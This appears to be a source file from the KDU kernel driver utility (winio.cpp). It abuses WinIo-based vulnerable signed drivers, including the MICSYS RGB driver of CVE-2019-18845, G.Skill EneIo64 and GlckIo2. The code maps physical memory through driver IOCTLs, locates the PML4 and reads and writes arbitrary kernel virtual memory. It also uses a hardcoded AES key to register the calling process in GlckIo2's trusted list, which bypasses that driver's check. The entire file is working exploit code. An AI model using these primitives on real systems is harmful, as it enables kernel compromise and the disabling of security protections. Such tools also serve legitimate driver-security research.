mirror of https://github.com/hfiref0x/KDU.git
557 lines
12 KiB
C++
557 lines
12 KiB
C++
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2020
|
|
*
|
|
* TITLE: WINIO.CPP
|
|
*
|
|
* VERSION: 1.01
|
|
*
|
|
* DATE: 13 Feb 2020
|
|
*
|
|
* WINIO based drivers routines.
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
|
|
#include "global.h"
|
|
#include "idrv/winio.h"
|
|
|
|
#ifdef __cplusplus
|
|
extern "C" {
|
|
#include "tinyaes/aes.h"
|
|
}
|
|
#endif
|
|
|
|
//
|
|
// Generic WINIO interface for all supported drivers based on WINIO code.
|
|
//
|
|
// MICSYS RGB driver interface for CVE-2019-18845.
|
|
// Ptolemy Tech Co., Ltd ENE driver interface
|
|
// G.Skill EneIo64 driver interface
|
|
// ... and multiple others
|
|
//
|
|
|
|
typedef PVOID(WINAPI* pfnWinIoGenericMapMemory)(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR PhysicalAddress,
|
|
_In_ ULONG NumberOfBytes,
|
|
_Out_ HANDLE* SectionHandle,
|
|
_Out_ PVOID* ReferencedObject);
|
|
|
|
typedef VOID(WINAPI* pfnWinIoGenericUnmapMemory)(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ PVOID SectionToUnmap,
|
|
_In_ HANDLE SectionHandle,
|
|
_In_ PVOID ReferencedObject);
|
|
|
|
|
|
pfnWinIoGenericMapMemory g_WinIoMapMemoryRoutine;
|
|
pfnWinIoGenericUnmapMemory g_WinIoUnmapMemoryRoutine;
|
|
BOOL g_PhysAddress64bit = FALSE;
|
|
|
|
/*
|
|
* MsIoMapMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Map physical memory through \Device\PhysicalMemory.
|
|
*
|
|
*/
|
|
PVOID MsIoMapMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR PhysicalAddress,
|
|
_In_ ULONG NumberOfBytes,
|
|
_Out_ HANDLE* SectionHandle,
|
|
_Out_ PVOID* ReferencedObject)
|
|
{
|
|
MSIO_PHYSICAL_MEMORY_INFO request;
|
|
|
|
*SectionHandle = NULL;
|
|
*ReferencedObject = NULL;
|
|
|
|
RtlSecureZeroMemory(&request, sizeof(request));
|
|
request.ViewSize = PhysicalAddress + NumberOfBytes;
|
|
|
|
if (supCallDriver(DeviceHandle,
|
|
IOCTL_WINIO_MAP_USER_PHYSICAL_MEMORY,
|
|
&request,
|
|
sizeof(request),
|
|
&request,
|
|
sizeof(request)))
|
|
{
|
|
*SectionHandle = request.SectionHandle;
|
|
*ReferencedObject = request.ReferencedObject;
|
|
return request.BaseAddress;
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
/*
|
|
* MsIoUnmapMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Unmap previously mapped physical memory.
|
|
*
|
|
*/
|
|
VOID MsIoUnmapMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ PVOID SectionToUnmap,
|
|
_In_ HANDLE SectionHandle,
|
|
_In_ PVOID ReferencedObject
|
|
)
|
|
{
|
|
MSIO_PHYSICAL_MEMORY_INFO request;
|
|
|
|
RtlSecureZeroMemory(&request, sizeof(request));
|
|
request.BaseAddress = SectionToUnmap;
|
|
request.ReferencedObject = ReferencedObject;
|
|
request.SectionHandle = SectionHandle;
|
|
|
|
supCallDriver(DeviceHandle,
|
|
IOCTL_WINIO_UNMAP_USER_PHYSICAL_MEMORY,
|
|
&request,
|
|
sizeof(request),
|
|
&request,
|
|
sizeof(request));
|
|
}
|
|
|
|
/*
|
|
* WinIoMapMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Map physical memory through \Device\PhysicalMemory.
|
|
*
|
|
*/
|
|
PVOID WinIoMapMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR PhysicalAddress,
|
|
_In_ ULONG NumberOfBytes,
|
|
_Out_ HANDLE* SectionHandle,
|
|
_Out_ PVOID* ReferencedObject)
|
|
{
|
|
WINIO_PHYSICAL_MEMORY_INFO request;
|
|
|
|
*SectionHandle = NULL;
|
|
*ReferencedObject = NULL;
|
|
|
|
RtlSecureZeroMemory(&request, sizeof(request));
|
|
request.ViewSize = NumberOfBytes;
|
|
request.BusAddress = PhysicalAddress;
|
|
|
|
if (supCallDriver(DeviceHandle,
|
|
IOCTL_WINIO_MAP_USER_PHYSICAL_MEMORY,
|
|
&request,
|
|
sizeof(request),
|
|
&request,
|
|
sizeof(request)))
|
|
{
|
|
*SectionHandle = request.SectionHandle;
|
|
*ReferencedObject = request.ReferencedObject;
|
|
return request.BaseAddress;
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
/*
|
|
* WinIoUnmapMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Unmap previously mapped physical memory.
|
|
*
|
|
*/
|
|
VOID WinIoUnmapMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ PVOID SectionToUnmap,
|
|
_In_ HANDLE SectionHandle,
|
|
_In_ PVOID ReferencedObject
|
|
)
|
|
{
|
|
WINIO_PHYSICAL_MEMORY_INFO request;
|
|
|
|
RtlSecureZeroMemory(&request, sizeof(request));
|
|
request.BaseAddress = SectionToUnmap;
|
|
request.ReferencedObject = ReferencedObject;
|
|
request.SectionHandle = SectionHandle;
|
|
|
|
supCallDriver(DeviceHandle,
|
|
IOCTL_WINIO_UNMAP_USER_PHYSICAL_MEMORY,
|
|
&request,
|
|
sizeof(request),
|
|
&request,
|
|
sizeof(request));
|
|
}
|
|
|
|
/*
|
|
* WinIoQueryPML4Value
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Locate PML4.
|
|
*
|
|
*/
|
|
BOOL WINAPI WinIoQueryPML4Value(
|
|
_In_ HANDLE DeviceHandle,
|
|
_Out_ ULONG_PTR* Value)
|
|
{
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
ULONG_PTR pbLowStub1M = 0ULL, PML4 = 0;
|
|
|
|
PVOID refObject = NULL;
|
|
HANDLE sectionHandle = NULL;
|
|
|
|
*Value = 0;
|
|
|
|
do {
|
|
|
|
pbLowStub1M = (ULONG_PTR)g_WinIoMapMemoryRoutine(DeviceHandle,
|
|
0ULL,
|
|
0x100000,
|
|
§ionHandle,
|
|
&refObject);
|
|
|
|
if (pbLowStub1M == 0) {
|
|
dwError = GetLastError();
|
|
break;
|
|
}
|
|
|
|
PML4 = supGetPML4FromLowStub1M(pbLowStub1M);
|
|
if (PML4)
|
|
*Value = PML4;
|
|
else
|
|
*Value = 0;
|
|
|
|
g_WinIoUnmapMemoryRoutine(DeviceHandle,
|
|
(PVOID)pbLowStub1M,
|
|
sectionHandle,
|
|
refObject);
|
|
|
|
dwError = ERROR_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
SetLastError(dwError);
|
|
return (PML4 != 0);
|
|
}
|
|
|
|
/*
|
|
* WinIoReadWritePhysicalMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Read/Write physical memory.
|
|
*
|
|
*/
|
|
BOOL WINAPI WinIoReadWritePhysicalMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR PhysicalAddress,
|
|
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
|
|
_In_ ULONG NumberOfBytes,
|
|
_In_ BOOLEAN DoWrite)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
PVOID mappedSection = NULL;
|
|
ULONG_PTR offset;
|
|
|
|
PVOID refObject = NULL;
|
|
HANDLE sectionHandle = NULL;
|
|
|
|
//
|
|
// Map physical memory section.
|
|
//
|
|
mappedSection = g_WinIoMapMemoryRoutine(DeviceHandle,
|
|
PhysicalAddress,
|
|
NumberOfBytes,
|
|
§ionHandle,
|
|
&refObject);
|
|
|
|
if (mappedSection) {
|
|
|
|
offset = PhysicalAddress;
|
|
|
|
__try {
|
|
|
|
if (DoWrite) {
|
|
if (g_PhysAddress64bit) {
|
|
RtlCopyMemory(mappedSection, Buffer, NumberOfBytes);
|
|
}
|
|
else {
|
|
RtlCopyMemory(RtlOffsetToPointer(mappedSection, offset), Buffer, NumberOfBytes);
|
|
}
|
|
}
|
|
else {
|
|
if (g_PhysAddress64bit) {
|
|
RtlCopyMemory(Buffer, mappedSection, NumberOfBytes);
|
|
}
|
|
else {
|
|
RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, offset), NumberOfBytes);
|
|
}
|
|
}
|
|
|
|
bResult = TRUE;
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
|
{
|
|
SetLastError(GetExceptionCode());
|
|
bResult = FALSE;
|
|
}
|
|
|
|
//
|
|
// Unmap physical memory section.
|
|
//
|
|
g_WinIoUnmapMemoryRoutine(DeviceHandle,
|
|
mappedSection,
|
|
sectionHandle,
|
|
refObject);
|
|
|
|
}
|
|
else {
|
|
dwError = GetLastError();
|
|
}
|
|
|
|
SetLastError(dwError);
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* WinIoReadPhysicalMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Read from physical memory.
|
|
*
|
|
*/
|
|
BOOL WINAPI WinIoReadPhysicalMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR PhysicalAddress,
|
|
_In_ PVOID Buffer,
|
|
_In_ ULONG NumberOfBytes)
|
|
{
|
|
return WinIoReadWritePhysicalMemory(DeviceHandle,
|
|
PhysicalAddress,
|
|
Buffer,
|
|
NumberOfBytes,
|
|
FALSE);
|
|
}
|
|
|
|
/*
|
|
* WinIoWritePhysicalMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Write to physical memory.
|
|
*
|
|
*/
|
|
BOOL WINAPI WinIoWritePhysicalMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR PhysicalAddress,
|
|
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
|
|
_In_ ULONG NumberOfBytes)
|
|
{
|
|
return WinIoReadWritePhysicalMemory(DeviceHandle,
|
|
PhysicalAddress,
|
|
Buffer,
|
|
NumberOfBytes,
|
|
TRUE);
|
|
}
|
|
|
|
/*
|
|
* WinIoVirtualToPhysical
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Translate virtual address to the physical.
|
|
*
|
|
*/
|
|
BOOL WINAPI WinIoVirtualToPhysical(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR VirtualAddress,
|
|
_Out_ ULONG_PTR* PhysicalAddress)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
|
|
if (PhysicalAddress)
|
|
*PhysicalAddress = 0;
|
|
else {
|
|
SetLastError(ERROR_INVALID_PARAMETER);
|
|
return FALSE;
|
|
}
|
|
|
|
bResult = PwVirtualToPhysical(DeviceHandle,
|
|
(provQueryPML4)WinIoQueryPML4Value,
|
|
(provReadPhysicalMemory)WinIoReadPhysicalMemory,
|
|
VirtualAddress,
|
|
PhysicalAddress);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* WinIoReadKernelVirtualMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Read virtual memory.
|
|
*
|
|
*/
|
|
BOOL WINAPI WinIoReadKernelVirtualMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR Address,
|
|
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
|
_In_ ULONG NumberOfBytes)
|
|
{
|
|
BOOL bResult;
|
|
ULONG_PTR physicalAddress = 0;
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
|
|
bResult = WinIoVirtualToPhysical(DeviceHandle,
|
|
Address,
|
|
&physicalAddress);
|
|
|
|
if (bResult) {
|
|
|
|
bResult = WinIoReadWritePhysicalMemory(DeviceHandle,
|
|
physicalAddress,
|
|
Buffer,
|
|
NumberOfBytes,
|
|
FALSE);
|
|
|
|
if (!bResult)
|
|
dwError = GetLastError();
|
|
|
|
}
|
|
else {
|
|
dwError = GetLastError();
|
|
}
|
|
|
|
SetLastError(dwError);
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* WinIoWriteKernelVirtualMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Write virtual memory.
|
|
*
|
|
*/
|
|
BOOL WINAPI WinIoWriteKernelVirtualMemory(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_ ULONG_PTR Address,
|
|
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
|
|
_In_ ULONG NumberOfBytes)
|
|
{
|
|
BOOL bResult;
|
|
ULONG_PTR physicalAddress = 0;
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
|
|
bResult = WinIoVirtualToPhysical(DeviceHandle,
|
|
Address,
|
|
&physicalAddress);
|
|
|
|
if (bResult) {
|
|
|
|
bResult = WinIoReadWritePhysicalMemory(DeviceHandle,
|
|
physicalAddress,
|
|
Buffer,
|
|
NumberOfBytes,
|
|
TRUE);
|
|
|
|
if (!bResult)
|
|
dwError = GetLastError();
|
|
|
|
}
|
|
else {
|
|
dwError = GetLastError();
|
|
}
|
|
|
|
SetLastError(dwError);
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* GlckIo2Register
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Register in GlckIo2 "trusted" process list.
|
|
*
|
|
*/
|
|
BOOL GlckIo2Register(
|
|
_In_ HANDLE DeviceHandle)
|
|
{
|
|
AES_ctx ctx;
|
|
ULONG_PTR encryptedProcessId;
|
|
UCHAR Buffer[16];
|
|
BYTE OutBuf[512];
|
|
ULONG AES128Key[4] = { 0x16157eaa, 0xa6d2ae28, 0x8815f7ab, 0x3c4fcf09 };
|
|
|
|
RtlSecureZeroMemory(&ctx, sizeof(ctx));
|
|
|
|
AES_init_ctx(&ctx, (uint8_t*)&AES128Key);
|
|
|
|
encryptedProcessId = SWAP_UINT32(GetCurrentProcessId());
|
|
|
|
RtlSecureZeroMemory(&Buffer, sizeof(Buffer));
|
|
RtlSecureZeroMemory(&OutBuf, sizeof(OutBuf));
|
|
RtlCopyMemory(&Buffer, &encryptedProcessId, sizeof(ULONG_PTR));
|
|
AES_ECB_encrypt(&ctx, (uint8_t*)&Buffer);
|
|
|
|
return supCallDriver(DeviceHandle,
|
|
IOCTL_GKCKIO2_REGISTER,
|
|
&Buffer,
|
|
sizeof(Buffer),
|
|
&OutBuf,
|
|
sizeof(OutBuf));
|
|
}
|
|
|
|
/*
|
|
* WinIoRegisterDriver
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Register WinIo driver.
|
|
*
|
|
*/
|
|
BOOL WINAPI WinIoRegisterDriver(
|
|
_In_ HANDLE DeviceHandle,
|
|
_In_opt_ PVOID Param)
|
|
{
|
|
ULONG DriverId = PtrToUlong(Param);
|
|
|
|
switch (DriverId) {
|
|
case IDR_GLCKIO2:
|
|
g_WinIoMapMemoryRoutine = WinIoMapMemory;
|
|
g_WinIoUnmapMemoryRoutine = WinIoUnmapMemory;
|
|
g_PhysAddress64bit = TRUE;
|
|
|
|
if (!GlckIo2Register(DeviceHandle))
|
|
return FALSE;
|
|
|
|
break;
|
|
|
|
case IDR_MSIO64:
|
|
g_WinIoMapMemoryRoutine = MsIoMapMemory;
|
|
g_WinIoUnmapMemoryRoutine = MsIoUnmapMemory;
|
|
g_PhysAddress64bit = FALSE;
|
|
break;
|
|
default:
|
|
g_WinIoMapMemoryRoutine = WinIoMapMemory;
|
|
g_WinIoUnmapMemoryRoutine = WinIoUnmapMemory;
|
|
g_PhysAddress64bit = TRUE;
|
|
break;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|